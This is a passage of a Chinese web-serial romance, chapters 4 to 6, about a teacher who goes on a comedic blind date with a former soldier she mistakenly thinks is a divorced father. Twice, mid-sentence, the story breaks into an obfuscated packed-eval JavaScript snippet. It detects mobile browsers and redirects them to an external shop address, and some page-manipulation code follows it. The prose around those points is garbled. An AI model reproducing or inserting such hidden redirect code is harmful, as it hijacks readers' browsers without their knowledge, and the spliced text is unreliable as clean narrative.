二年级三班的体育委员张博文已经朝着愣神的钟柠问了三遍,最后实在没办法,揪了揪老师的跨包带子。 “啊?” “哦,解散吧,解散吧。” 钟柠一声令下,小毛头们都欢呼着去找自己的爸爸妈妈了,走之前还不忘跟她告别。 “老师再见。” “老师再见!” ..... 回家的公交车上,钟柠有点心不在焉的,她翻出刚才偷拍的视频看了又看。 虽然只拍到了爷俩的侧颜照,但不得不说,这爷俩长得是真像啊。 江昱洲刚才把四个小朋友护在身下的行为简直太帅太爷们儿了。 想到这儿,钟柠忽然发现,自己好像对他的敌意没那么大了。 江昱洲除了是个好人,还是个好爸爸呢,离婚了还把孩子带在身边,还坚持每天来接孩子回家。 钟柠先去水果店帮了会儿忙,又跟爸妈一起吃了晚饭,八点多才从水果店往家走。 她洗漱完习惯性地打开了小绿书刷了起来。 以往这个时间,她都是洗漱完躺在床上等着江昱洲的直播了。 要不我注册个小号看? 反正他也不知道我是谁。 说干就干,钟柠三两下就把之前那个账号退出了,用备用手机号重新注册了一个,起了ID:大润发杀了十年鱼。 注册完,钟柠熟门熟路地搜索了铁血猛龙四个字。 ??? 他怎么没直播? 钟柠看了眼时间,已经9:02了,早就过了直播时间了。 想着也许是因为什么事耽误了,她又等了几分钟,还是没见直播开始。 铁血猛龙的主页也没更新,一切都跟她离开之前一样。 钟柠心里有点纳闷。 是因为我吗? 是因为我没给他发“老公晚安”就不直播了吗? 这个念头刚冒出来一秒就被她扼杀了。 钟柠冷笑着嘲笑自己。 你以为你是谁啊,哪有那么大魅力。 再说了,一个离婚带孩子的男人,就算是一身腱子肉又怎么样,有什么好值得留恋的,小绿书上这样的博主一抓一大把。 心里虽然这样想着,钟柠的手指还是不听使唤地退出小绿书点开了微信。 中午跟江昱洲的聊天页面还安安静静地躺在手机屏幕正中间。 她调出输入法,鬼使神差地打了几个字发了过去。 花果山在逃母猴:【你干嘛呢?】 对面回复地还算快,大概隔了十几秒,江昱洲的头像就就往下复制了一个。 铁血猛龙:【陪孩子玩呢。】 钟柠咬了咬牙,又打了一句。 花果山在逃母猴:【孩子大了,应该好带吧?】 铁血猛龙:【嗯,确实比小时候好带。】 钟柠:...... 4. 第 4 章 中午的时候,大伯江峰招呼江昱洲到家里吃饭。 饭桌上,嫂子谭悦笑眯眯地问他,“昱洲,实验一小的小钟老师加你微信了吗,上午的时候,张校长就已经把你的微信名片推过去了。” 江昱洲放下筷子,脑海里想起来,上午的时候,好像是有一个叫什么母猴的加他。 原来就是给他介绍的相亲对象? 她也没介绍自己是谁。 江昱洲点头,“嗯,加上了,嫂子。” 堂哥江韦川拍了拍江昱洲的肩膀,“洲啊,加上人家女孩你得主动点,话多一点,别整天跟个闷葫芦似的,在这件事上,男的得主动,晓得了吧?” 江昱洲闷闷地嗯了声,低头继续干饭。 大伯江峰往江昱洲碗里夹了一块小排,目光里满是怜爱,“昱洲,你也别怪我唠叨,你在部队的时候吧,家里就张罗着给你介绍相亲对象,你非不见,说你在家待不了几天,没时间接触,现在你退伍回来了,可不能再拒绝了,你爷爷奶奶年纪大了,你的婚事,是现在他们心里最惦记的事情了。” 江昱洲还是一个地点头,继续干饭。 只是吃个中饭的时间,大伯,大伯母,堂哥,堂嫂,四个人可谓是连环轰炸,话题一直围绕着这位即将与他相亲的小钟老师。 在他们四个的嘴里,这个老师温柔娴静,善良体贴,爸爸是退休教师,妈妈自己开水果店,只有她这个一个女儿,她自己又是在编教师,条件真是一顶一的好。 江昱洲默默听着,有些不敢苟同。 既然是那么一个温柔娴静的女孩子,微信名称为什么叫做花果山在逃母猴? 头像还是一只棕色的大耗子。 想不通,实在是想不通。 一碗米饭吃完,江昱洲站了起来。 想着大伯一家为了他相亲的事情劳神劳力,自己也无以报答,他沉默了一气,终于开口。 “大伯,大伯母,哥哥,嫂子,我知道你们都是为了我,我心里都懂,为了报答你们,这几天都由我来接佑佑放学吧,反正我也是闲着。” “你们慢慢吃,我先走了。” ...... 饭桌上的四个人面面相觑,搞不懂江昱洲的脑回路。 - 吃完饭,江昱洲回了位于水君湾的房子。 这房子是爷爷奶奶给他准备的婚房,早就装修好了,他退伍回来后就住在这里。 下午五点半,江昱洲把小侄子从学校接出来,又带他去吃了肯德基。 小家伙是真喜欢这个叔叔。 之前江昱洲没退伍的时候,江承佑就经常跟他视频,对他那些酷酷地军装和装备是满眼的羡慕。 江昱洲回来的时候,给小家伙买了玩具枪,还带了部队的坦克装备模型。 这下好了,叔叔退伍回来,小家伙恨不得整天跟他黏在一起。 餐厅里,江承佑已经吃了一个鸡腿堡,喝了半杯可乐,正在悠哉悠哉地吃着薯条。 “叔叔,我最喜欢吃肯德基了,可是我妈妈根本不带我来吃,你最好了,我今晚要跟你睡。” 江昱洲啊了一声。 “佑佑,你确定吗,你不回家了?要跟我睡?” 小家伙继承了爸爸妈妈的优点,长得虎头虎脑的,一双圆溜溜的大眼睛望着江昱洲。 “我确定,叔叔,我不回家了,今天老师也没留作业,我还想去你家看模型呢。” 好吧。 江昱洲不忍打消孩子的积极性,给谭悦打了个电话报备了一下。 电话里,谭悦有些犹豫,孩子虽然已经七岁了,但长这么大还没离开过爸爸妈妈,不知道行不行。 江昱洲劝解她,“嫂子,您就放心吧,他7岁了,是个小男子汉了,您不能把他保护的太好了。” 小承佑也凑到手机旁边跟妈妈说话。 “就是,妈妈,我是男子汉,我长大了也要跟叔叔一样去当兵。” 谭悦没办法,最后还是犹犹豫豫地答应了。 吃过饭,江昱洲又带着小侄子在小区广场疯玩了一会儿,快八点了才回家。 江昱洲的家里装修的很简单,东西不多,布置得井然有序,客厅里的家具一尘不染,墙上挂着几幅老照片,记录着他服役时的点点滴滴,书房里的柜子里陈列着几枚闪亮的军功章和鲜红的荣誉证书。 卧室里的床铺的整整齐齐,被子叠得像豆腐块。 就连浴室里的陈列也都摆成了一条直线,一看就是当兵多年养成的习惯。 爷俩洗了澡,江昱洲到书房举铁,小家伙在旁边拼乐高积木。 “叔叔,这个步骤我看不懂,你来帮我拼吧。” 这个乐高总共有1000多块,是一个海洋舰的模型,根本不是一个七岁小朋友能驾驭的。 江昱洲接过图纸跟佑佑一起研究起来。 这时,放在手边的手机忽然嗡嗡地响了两声。 新消息来自花果山在逃母猴。 佑佑第一时间看到了手机屏幕,他刚上了几天学,认识的汉字有限。 “叔叔,叔叔,有一只猴子找你。” ??? 江昱洲满脸疑惑地拿起手机,微信列表里有一条未读消息。 花果山在逃母猴:【你干嘛呢?】 乐高正拼到关键步骤,他也没多考虑这个母猴到底是谁,更没把她跟小钟老师挂上钩,捞起手机打字回复了过去。 【陪孩子玩呢。】 晚上十点,小承佑在叔叔的西游记故事中进入了甜甜的梦乡。 江昱洲给孩子盖了张薄毯,把空调地温度调到27度,轻轻地关上房门退了出来。 哄孩子真不是一般人能干的,跟小家伙相处的这几个小时,江昱洲神情全部处于高度集中的状态。 他又去浴室冲了个澡,出来的时候只穿了件沙滩短裤,上半身赤裸着,胸膛处还挂着水滴。 躺在床上后,他习惯性翻了翻手机。 看着微信里他跟“花果山在逃母猴”的聊天记录,想到中午饭桌上哥嫂的介绍,他这才把这只母猴跟他们口中的温柔娴静小钟老师画上等号。 今天已经是周四,谭悦只说中间人帮他们约了周六见面,但具体时间地点都没谈。 想了想,江昱洲打了一句话过去。 铁血猛龙:【小钟老师,你好,周六见面,你有什么想去的地方吗?】 消息发过去之后,手机屏幕中间的那个位置,花果山在逃母猴几个字瞬间变成了“对方正在输入” 江昱洲的眼神一直盯着屏幕下方输入框的位置,好像他一眨眼,新消息就会消失一样。 就这样眼睛一眨不眨地盯了大概一分钟,上方的“对方正在输入”出现又消失,消失又出现。 江昱洲的眼睛实在酸胀的有些难受。 他没忍住,用力眨了下眼。 就在这一秒,叮咚一声,提示手机来了新消息。 花果山在逃母猴:【对方分享了一个位置。】 “老胖拉面馆(朝阳路东100米的胡同里)” 江昱洲:...... 铁血猛龙:【好,几点过去?】 花果山在逃母猴:【上午十一点半。】 铁血猛龙:【好的,我一定准时到。】 - 周五晚上九点多的时候,钟柠已经洗漱完毕,敷着面膜躺在了床上,忙了一个礼拜的好友孟雪终于给钟柠打来了电话。 “小柠柠,我终于放假了,我们去吃老胖拉面好不好,好久没吃了,都馋死我了。” 钟柠闭了闭眼,对她的言论表示鄙视。 “瞧你那点出息,加了快半个月的班,就想吃个老胖拉面吗?行了,老胖拉面你是别惦记了,明天晚上我请你去吃烤肉,好好慰劳慰劳你。” 孟雪:“好嘞好嘞,那就谢谢我们美丽的钟老师啦。” 孟雪先是抱怨里一顿她们政府办里的各种奇葩同事,说着说着又想起那天姐妹俩突然终止的对话。 “对了,柠柠,上次你说那个铁血猛龙结婚了?还有孩子了?到底是怎么回事啊?” “嗐,别提了。” 钟柠把这两天遭遇的事,以及自己明天就要去跟江昱洲相亲的事情都跟孟雪说了。 孟雪听完,震惊到眼珠子都快掉到地上了。 “柠柠,你既然知道他有孩子,干嘛还答应去相亲啊?直接拒绝不就行了吗?” 钟柠摇了摇头,“雪啊,你不懂,这人是我们副校长给我介绍的,我能拂了他老人家的面子吗,而且,我之所以答应去相亲,就是为了当众戳穿他。” “我不入地狱谁入地狱,我不能眼看着广大姐妹被他玩弄于股掌之中啊!” 孟雪看了她一眼,给了她一个很不理解,但我很赞同的眼神。 “好,期待你明天的战绩。” “明天中午相亲结束你一定要第一时间给我打电话啊。” - 转天就是周六,钟柠本想睡个自然醒,却在早晨七点就被老妈从被窝里薅了起来。 相亲的事她没跟爸妈说,明知道不会有好结果,告诉他们白白让他们瞎期待。 陈红英推门而入,迈着矫健的步伐,嘴里还嘟嘟囔囔的。 “闺女,别睡了,快起来了,今天上午我要去市场进货,你爸爸要回乡下看你爷爷奶奶,你快起来去帮我看店。” 说着,陈女士大手一挥就把遮光窗帘唰的一声全部拉开,大片大片的日光投射进来,照得床上的钟柠皱了皱眉。 “妈,您干嘛呀,让我再睡会儿啊。” 眯着眼的钟柠从被子底下把腿伸了出来,用力地翻了个身,表示自己的不满,把半夜被自己扔到一边的大号卡皮巴拉重新搂在怀里。 “都七点了,也该起来了,年轻人总睡懒觉不好,快点啊,早晨买水果的人多,不能关门,你快点过去。” 陈红英叮嘱她几句就急匆匆地离开了。 被老妈这么一吆喝,钟柠完全没有了睡意,只好起来。 站在卫生间洗漱的时候,钟柠刷着牙看着镜子里的自己,脑海里不断预演着中午即将到来的相亲。 不行,我不能就这样去。 江昱洲这个骗婚渣男不配欣赏我的美貌! 钟柠自言自语地说着,放下牙刷翻箱倒柜地去找一年多以前买的那瓶失败的粉底液。 终于被她在杂物间的箱子里找到了。 她当时没看清楚色号,买回来往脸上一抹,整个一自然美黑的效果。 钟柠简单洗了把脸,也没化妆,把那瓶美黑的粉底液塞进包里,回屋换了件最普通的白T恤,牛仔裤,准备出发去水果店。 早晨七点,正是大部分早起晨练的人结束回家的时候,看见店门口摆放的新鲜水果,总要忍不住买一些。 钟柠从开门就一直在忙着称重,收钱,一刻也没消停。 已经过了十点,她忙得连口早饭也没顾上吃,马上就要到相亲的时间了,老妈还没回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443994|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 老胖拉面馆离她家大概需要半小时车程。 上午十点半,钟柠到水果店后面的洗手间重新洗了把脸,把早就准备好的美黑粉底液抹到了脸上。 她看着镜子里的自己,觉得还是有些精致了,随即又把梳得整整齐齐的丸子头拆了,双手把头发挽到脑后,从置物架上取下来一个老妈的鲨鱼夹随便夹了起来。 嗯,这样看上去,就很潦草了。 一切操作完毕,她掏出手机给老妈打电话。 “妈,您什么时候回来,我得走了,中午跟同事约好了,有事。” 陈红英正在人员嘈杂的水果市场跟人家砍价呢。 “行,那你先把门关上走吧,我也快回去了。” 钟柠在店门口打了辆车,朝老胖拉面馆驶去。 出租车行驶在马路上,路况却意外地好,司机师傅一个劲儿地感叹。 “哎哟,还是周末好,这上班族全搁家睡懒觉呢,你看,路上连车也没有,你说,对吧,姑娘。” 钟柠敷衍地嗯了两声,根本没听清师傅在说什么。 她现在有些担心她的脸。 貌似那瓶粉底液有点过期了,她的脸现在有一点点痒。 钟柠掏出手机,用前置摄像头看了看自己的脸。 还好,除了黑,看不出来什么,就是觉得脸上痒痒的,火辣辣的。 她抬头看了看出租车前面的老式空调机,开口,“师傅,麻烦您把空调再调的低一点,有点热。” “哎,好嘞。”师傅硬撑着,咔咔两下把按钮直接拧到4档,还笑嘻嘻地说了句,“这皮肤黑的人就是怕热哈,黑色吸热嘛。” 钟柠:...... 她抬起头正好跟司机的视线在后视镜里相遇。 大概四十多岁,有些秃头的司机大叔嘿嘿一笑,“姑娘,我没说你,我说我自己呢,我今天穿的是黑色短袖,呵呵,呵呵。” 钟柠没再说话,把视线转向窗外。 好不容易到了地方,钟柠扫码付款,打开车门头也不回地走了。 老胖拉面是一家开在胡同里的苍蝇小馆,差不多已经有小二十年的历史。 小店门脸不大,门头上的“老胖拉面”四个大字随着岁月的流逝已经褪了色。然而老板也没打算换新,说是这样更显得有岁月的味道。 别看是这样一家不起眼的小店,大堂里也只有十几张桌子,每到正餐的点还需要等位。 从上初中的时候,钟柠就经常跟孟雪来吃,隔一段时间不吃就想的不行的那种。 钟柠坐到老胖拉面馆的木凳上时,是上午十点五十,距离她定的相亲时间还有四十分钟。 这个时间段还不到午餐的点儿,店里只坐了两桌客人。 闻着久违的香气,听着其他客人吸溜吸溜嗦面的声音,本就饥肠辘辘的钟柠,此刻更饿了。 钟柠看了下时间,又看了眼正坐在收银台后面刷视频的老板娘,盘算着老板上菜的功夫和自己吃面的速度。 老板娘很闲,说明前面已经没有单子了,煮面的时间差不多三分钟,而我吃面需要...... 她猛地起身朝收银台走去。 “老板娘,我要一碗拉面,大碗,加个卤蛋。” 老板娘眉开眼笑地答应着,放下手机在电脑上打出来单子。 “一共九块,小姑娘,扫这儿。” 点完餐,钟柠回到了自己座位。 她打开手机,有一搭没一搭地看着时间,果然,在她数到第180秒的时候,老板娘端着面走了过来。 “大碗加鸡蛋来啦,小姑娘慢用啊。” 钟柠点了点头,也顾不上跟老板娘说话,从桌上的筷子筒里揪出来一双一次性筷子,飞快地掰开,大口吃了起来。 还是原来的味道。 面条顺滑筋道,大片的牛肉和香菜飘在上面,汤也好喝,是很正宗的大骨头熬的汤。 钟柠吃了几口,胃里那种饥肠辘辘的感觉终于消失不见了。 因为心里害怕被江昱洲看见,她吃得又快又急,没一会儿额头上就冒了一层细密的汗。 钟柠也不敢用纸巾擦,怕把好不容易涂匀的粉底液擦掉。 她抬头瞅了下小店的空调,装在收银台后面的墙上,很老旧的款式,上面的屏幕已经模糊了,隐约能看见个17℃的字样。 ...... 钟柠就抬了一下头,不得了,正好被刚进来的梁贺看见。 “哎,钟柠,你怎么在这儿?” 梁贺是钟柠的高中同学,看见她坐在这儿吃面,笑着朝她走了过来。 钟柠忍着鬓角和额头的汗水跟劣质粉底液融合在一起带来的痒意,装作没事一样跟他打招呼。 “是你啊,你也来吃面啊,好巧。” 梁贺到收银台点了餐,很自来熟地坐到了钟柠正对面。 “你最近怎么样啊,老同学,美术老师应该不太忙吧。” 钟柠干笑两声,“还好。” 梁贺没看出任何异常,自顾自地继续说着。 “你们美术老师是不是要经常到乡下去写生啊,你看你,都晒黑了,而且,脸色也有点憔悴。” 梁贺的眼神在钟柠身上上下打量着。 钟柠:...... 你人怪好的咧。 她正打算回嘴跟梁贺解释的时候,小店的玻璃门被人推开,一个高大的身影夹杂着外面的暑热一齐闯了进来。 江昱洲来了。 5. 第 5 章 江昱洲一大早就起来了。 本来嘛,今天是自己第一次相亲,说不紧张那是假的。 健身,洗澡,把小侄子喊醒。 带着小侄子到小区门口早点摊吃了早饭,他就把孩子送回了大伯家。 大伯知道他今天中午要去相亲,看着他身上总穿的那几套军装,又开始唠叨起来。 “小洲啊,趁着还有时间,你快去商场买几套衣服,谁相亲穿军装啊,而且你这几套都穿得有些旧了,对人家女方不太尊重。” 大伯母也来劝他,“你大伯说得对,买了衣服之后顺便去理发店吹个造型,你年纪大了,再不注重一点外表形象,小心人家小钟老师看不上你。” 江昱洲答应着从大伯家走了出来。 时间才刚到九点,还有两个小时的时间。 他觉得大伯大伯母说得有道理,开车直奔万达广场。 在部队八年,江昱洲穿的最多的就是军装,基本没几件其他款式的衣服,对于男装的牌子也是几乎不了解。 他随便进了一家叫ZINCHEN的男装店铺,听从店员的推荐,搭配了一件黑色POLO衫和复古蓝色的牛仔裤,服装店出来,隔壁就是一家美发店,江昱洲用门口的玻璃照了照自己,这贴着头皮的寸头,还能吹出什么发型来啊?大伯母真是的。 江昱洲开车往朝阳路上走,这个时候,手机突然响了起来。 来电显示:爷爷。 不用猜也知道,肯定又是来劝他好好相亲的。 他用蓝牙耳机接听。 “喂?爷爷。” “小洲,是今天跟小钟老师见面吗?” “对,我现在正在路上呢。” “好,去了跟人家女孩子好好聊,多找话题,别那么闷,这女孩子错不了,又是做教师的,职业多好啊,争取成功啊。” “好,我知道了,爷爷,您放心吧。” 按照导航找到老胖拉面馆的时候,正好是十一点。 胡同里不好找停车的地方,他把车子停到马路边上,又步行走了进去。 站在店门前,江昱洲低头整理了一下新买的牛仔裤裤缝,好像店员推荐的尺码有点小了,他觉得裆部好像有点紧。 上次穿牛仔裤好像是上高中的时候吧,他已经很久不穿这种裤子了。 整理好衣服,江昱洲又深呼吸几下,才颤着手推开了面馆的玻璃门。 店内顾客并不多,也并没有单独坐在一张桌上的女生,江昱洲猜想,对方应该还没来。 他抬手看了眼腕表,现在是上午十一点零五分。 江昱洲没多想,找了个靠墙的空位置准备坐下。 坐之前,他的视线在那张橙色的塑料圆凳上停留好久,最终,他还是取了几张餐巾纸,将凳子擦了个五六七八遍才坐了下来。 他坐的位置的右前方,就是钟柠和梁贺。 此时梁贺的面已经上来了,他一边吃,一边跟她聊着什么。 钟柠如坐针毡,心里暗骂,以前上学的时候怎么不觉得这厮这么多话啊? 钟柠的面就吃了几口,自从梁贺出现她就再也吃不下去了,而是一个劲地按亮又熄灭手机屏幕,一脸的焦急。 11:10分... 11:12分... 11:15分.... 钟柠一面看手机,时不时用眼角的余光看着另一侧的江昱洲。 自从进门起,他就安静地坐在凳子上。 除了打量了几下店内的布置,侧身给前面的客人让了一下路,其余的时间他都安静地坐在那里,用桌子上的餐巾纸擦拭着桌面。 一遍,一遍,又一遍…… 桌面上积了不知多久的污垢都被他擦的光洁如新。 连手机都不看。 看见他的举动,钟柠想到自己刚才进店以后就一屁股坐了下来,完全不顾及今天穿的是浅色的衣服,跟精致的江昱洲比起来,自己简直就是个街上要饭的流浪汉。 11:20分... 梁贺的一碗面已经吃光了,但他仍没有走的意思,还在对面滔滔不绝。 “哎,钟柠,早知道我也跟你一样考个编制了,你看,我现在自己弄车队,还是觉得没有保障,等老了干不动了,连退休金都没有,你说对吧?” “哎,你说,我没有教师资格证能考教师吗?” “应该不能吧?” “那我考公务员怎么样?” 钟柠是一句都听不进去。 她突然转身,闭了闭眼,打断了梁贺的话。 “不好意思,我还有事,先走了,你慢慢吃。” 梁贺低头看了看自己碗里的面汤,又目送着钟柠从自己对面的凳子上起身,走到了身后那张桌子旁边,神情自若地坐了下去。 梁贺:“......???” 看着钟柠对面那位的块头,梁贺不由自主地摸了摸自己的肱二头肌,顺滑,软弹,没有任何阻力,一只手几乎能掐过来。 好吧,原来钟柠是约了这位啊。 梁贺又看了看钟柠没吃完的那碗面,觉得自己的脑子里的神经线好像拧成了一根麻花,想不明白。 算了,还是走吧。 梁贺起身,一步三回头地走出了面馆。 看着梁贺的背影消失在视线内,钟柠站起身,咳咳两声清了清嗓子,开始介绍自己。 “江昱洲你好,我是今天跟你相亲的,钟柠。” 江昱洲虽然有点不明白,她刚刚明明坐在那个位置,对面还坐着一个男生,现在为什么又坐了过来,但出于礼貌教养,还是起身伸出了右手。 “你好,钟老师,我是江昱洲。” 钟柠伸出右手,轻轻地在他手掌虚握了一下,随即坐了下来。 虽然之前在小绿书直播上面钟柠已经看过无数次他的身材,但,当真人第一次坐到她的对面,钟柠还是被他健硕的身材震撼到了。 第一次这么近距离地观察他,看到了一些视频里没见过的新东西。 男人面部线条冷硬,不笑的时候,会给人一种很凶的感觉,眉骨立体,眉形锋利,右眉骨中间有一道很浅的疤,乍一看像是断眉。 男人的短发根根分明,能闻到好闻的洗发水的味道。身上的衣服像是新买的,短袖下面孔武有力的肱二头肌好像要把布料撑破。 小臂修长,青色的血管从手肘几乎蔓延到手腕的位置,性感又立体。 钟柠曾经在小绿书刷到过相关的帖子,说天生断眉的男生脾气暴躁,是会家暴的类型。 家暴? 钟柠看了一眼他的大臂,比自己的小腿还要粗,腿肚子不受控制地抖了几下。 江昱洲虽然是第一次相亲,但奇葩的相亲经历却是听战友们讲了一大箩筐。 他曾经听过这样的女生,因为自己饭量大,怕被男方笑话,所以提前去相亲的饭馆先吃个半饱,等正式相亲的时候可以少吃点,营造自己不食人间烟火的形象。 战友们说起这样的女生,语气里满是鄙夷。 江昱洲余光瞥了一下右前方桌子上服务员正在收拾的那碗吃了一半的面,猜到,钟柠应该就是这种情况。 江昱洲内心冷笑了下,对钟柠有了个最初的印象。 两个人沉默了一会儿,江昱洲想起相亲之前堂哥跟他说的那些话,不管相亲结果如何,作为男人要主动,不能冷场。 “小钟老师,想吃点什么,我去点。” 钟柠刚才那几口面吃得有点着急,此刻还觉得卡在嗓子里,上不上下不下的,有点难受,再加上有点紧张,呼吸都不太顺畅起来,深呼吸的几口冷气没有进入气管,相反去了食道。 好死不死地,她正打算开口说话的时候,话还没说出来,先打了个嗝。 “嗝~” 钟柠的脸刷一下就红了。 虽然涂了美黑的粉底液,脸红不红的根本看不出来,但刚刚消退了一些的痒意再次卷土重来。 她又不敢擦,只能通过挤眉弄眼地活动面部的肌肉来达到缓解的效果。 “我不太饿,要不......” 话还没说完,钟柠觉得自己有点打脸,相亲地点是她选的,时间又定在了中午,现在却说不饿,实在是不太厚道。 钟柠一面笑着,一面继续挤眉弄眼。 “那个,我要个小碗拉面就行,这家味道很正宗的。” 江昱洲点头,起身到收银台那里点餐。 从见到钟柠的第一眼,他就觉得今天的相亲有些匪夷所思。 女主角居然从另一张桌子上走过来,对面还坐了一位男生,更不可思议的是,这个样子,真的是嫂子嘴里说的实验小学数一数二漂亮的女老师吗? 钟柠身高大概在165左右,体重应该不过百,腰细腿长,就是这肤色嘛,看上去比自己的还要健康,额头和双鬓甚至带着汗水留下来的黑色的印记,头发也乱糟糟的,挽得很随意,颈间还有许多碎发。 就连身上的T恤和牛仔裤也是皱皱巴巴的,一看就是随便捡了一件穿上的。 再看自己身上这套新买的衣服,江昱洲心里觉得有些郁闷。 因为多年当兵的习惯,他对生活中任何事物都是一丝不苟的状态,甚至有轻微洁癖,穿的衣物虽然不是名牌但必须干净整齐,不容许有褶皱,他更不会来这种桌椅上面都是陈年油渍的苍蝇小馆吃饭。 但既然来了,又带着全家的殷切希望,他还是要坚持把这场戏唱下去。 江昱洲点好餐,又跟老板娘买了两瓶冰镇的青柠汁,回来递给钟柠一瓶。 “拉面还要等一会儿,喝点水吧。” 钟柠接过,手指刚碰到瓶身就被刚从冰箱里拿出来的饮料激了一下,忍不住嘶了一声。 江昱洲被她的声音吸引,视线也落到了她的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443995|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 这双手长得可真漂亮。 白皙,修长,没有美甲,是很健康的原生指甲。 江昱洲再次看了眼钟柠的脸,眉头不禁皱成了麻花辫,心里默默感叹,怎么会有人这么不会长啊?手那么白,脸却长得那么黑。 见她一直不喝,江昱洲又再次把她的水拿过来,帮她拧开了瓶盖,递还给她。 钟柠道了声,“谢谢。” 看着对方冷硬的脸庞,应该是个沉闷的性子,话不多,她决定先开口,表明自己这次来的目的。 “那个,江...嗯,我的情况,中间人都跟你说了吧?” 江昱洲刚把水瓶递到嘴边,还没喝,被她突然开口又打断了,只好再次放下。 “嗯,都介绍了。” 钟柠喝了口水,决定还是委婉点提醒,“可是,你的情况,我好像还不太了解,你现在......” 江昱洲见她欲言又止,以为是在问自己工作的事情。 “我退伍回来半年多了,工作的事情还没有落听,不过,应该快了。” 钟柠想问的明显不是这个。 “哦,没关系的,我知道,退伍回来都需要适应一段时间。我想问的是,你家里人都...还好吧?” 江昱洲虽然是第一次相亲,但相亲的段子却听了不少,他知道,钟柠这么问的目的。 “我家就我一个孩子,没有兄弟姐妹,我爸在我小的时候就走了,我妈改嫁了,我跟爷爷奶奶一起生活。” 钟柠手里的饮料瓶子差点掉下来。 “对...对不起啊,我不是故意提你伤心事的。” 江昱洲笑笑,“没关系,早就习惯了,我跟爷爷奶奶一起生活也挺好的。” 钟柠不忍心再继续问下去了,小伙子早年丧父,母亲改嫁,娶了个媳妇留下个娃,媳妇又跑了,这才出来相亲。 真惨,不是一般的惨。 “两个小碗拉面来喽。” 老板娘吆喝了一声,用托盘端着两碗面还有一碟凉菜,四串肉串过来了。 她先端起一碗放到了钟柠面前,习惯性地抬头看了她一眼。 嗯? 嗯嗯? 不过老板娘心理素质还是强大,又看了眼坐在对面的男人。 好像不是刚才那个? 心里顿时明白了个大概,什么都没说,放下东西就走了。 老板娘走后,钟柠悬着的心刚要落地,可在她看到对面块头那么大的男人也跟她一样要了小碗的时候,火气就不打一处来。 靠,什么意思嘛,你多大块我多大块啊,你也吃小碗,什么意思,是觉得我吃的多吗? 江昱洲取了两双一次性筷子,打开包装纸递给她一双。 “这个肉串是猪肉的,忘了问你有没有忌口。” “没事,我没有忌口。” 江昱洲低头吃面,完全没注意到钟柠脸上七彩斑斓的表情变化。 饭桌上再次陷入到尴尬的沉默中。 钟柠用筷子挑起面条,象征性地吃了一口,脑海里都是昨天自己跟孟雪夸下的海口。 她要当众戳穿他。 可是,听完江昱洲悲惨的身世,钟柠爱心泛滥,那句质问的话却怎么也说不出口。 江昱洲也觉得尴尬,除了低头干饭,想不出其他好的对策,只盼着这个时候谁能给他来个电话就好了。 这个念头刚出现在脑海,放在手边的手机忽然就嗡嗡地震动起来。 来电显示:应急局张局长。 张志平局长是临川市应急管理局副局长,之前他拿着部队的推荐信去拜访过一次,也表达了自己想加入逐光特战救援队的想法。 张局长对他的想法表示大力支持,恰逢逐光救援队正在扩招,急需他这样的专业人才加入。 张局长留下了他的资料,并说尽快向上级汇报。 江昱洲不敢耽误,抽纸巾擦了擦嘴和手,拿起手机。 “不好意思,我去接个电话。” 见他转身走出店门,钟柠也放松警惕,拿了一张餐巾纸,小心翼翼地在鬓角擦了一下汗。 她低头一看纸巾,上面已经有了一片黑黑的污渍。 完了,不能再擦了,再擦就露馅了。 江昱洲的电话结束的很快,他重新回到座位上,不好意思地看着钟柠。 “对不起啊,钟老师,我有点急事,得先走,单我已经买了,你慢慢吃,抱歉,实在是抱歉。” 钟柠站起来的功夫,江昱洲人已经走出去两米远。 她甚至一句再见都没有说出口。 走了两步到饭馆门口的位置,江昱洲又不放心似的回头看了一眼。 钟柠还站在原地,胳膊上挂着她那只杏色的水桶包,提手的位置挂了只棕色的毛绒玩具,江昱洲觉得有些眼熟。 对,是在小绿书上看到过的棕色大耗子。 6. 第 6 章 江昱洲不得已中断相亲,回家换了军装,又准备了一些资料,驱车到了临川市应急管理局。 张局长正在办公室等他。 张局长的办公室在三楼最东头,站在办公室门外,江昱洲整理了一下自己的仪表,深呼吸几口气,才敲了敲门。 “进来。” 江昱洲推门进去,看见穿着救援制服的张志平正坐在办公桌后面。 他先是敬了个军礼。 “张局长,江昱洲向您报到。” 张志平也回了个礼,指了指旁边的椅子,“小江,坐,不用那么拘谨。” 江昱洲坐在了办公桌对面的红色木椅子上,双腿微微岔开,腰背挺得笔直,这姿态还跟在部队里的时候一模一样。 张志平起身到旁边的饮水机上给他倒茶。 江昱洲眼疾手快地起身去把杯子接了过来,自己倒了。 “小江啊,是这样,你的资料和推荐信我都看了,前几天呢,你们团刘政委给我通了个电话,极力向我推荐你,再加上你父亲江河同志的英勇事迹,我们始终都没有忘记,所以,前天我们开了党委会,也跟逐光的冯队长通了气,通过了你加入逐光救援队的申请,周一去报到。” 听到这里,江昱洲激动地再次站了起来,又敬了一个军礼。 “谢谢张局长,谢谢组织信任。” 张志平抬抬手,“你先别着急感谢,组织信任你,让你担任副队长,这对你来说也是一个考验,逐光已经是一个很成熟的组织了,现在有队员和志愿者将近400名,你空降进去,还担任副队长,怎么服众,你要好好想想。” 江昱洲接过资料单,点头,“是,我会努力的。” 张志平忽然用一种探究的目光看着他,“小江,你加入救援队,家里人支持吗?” “要知道,逐光是专业救援队,面临的救援任务也是多种多样的,危险性也是相当高的。” 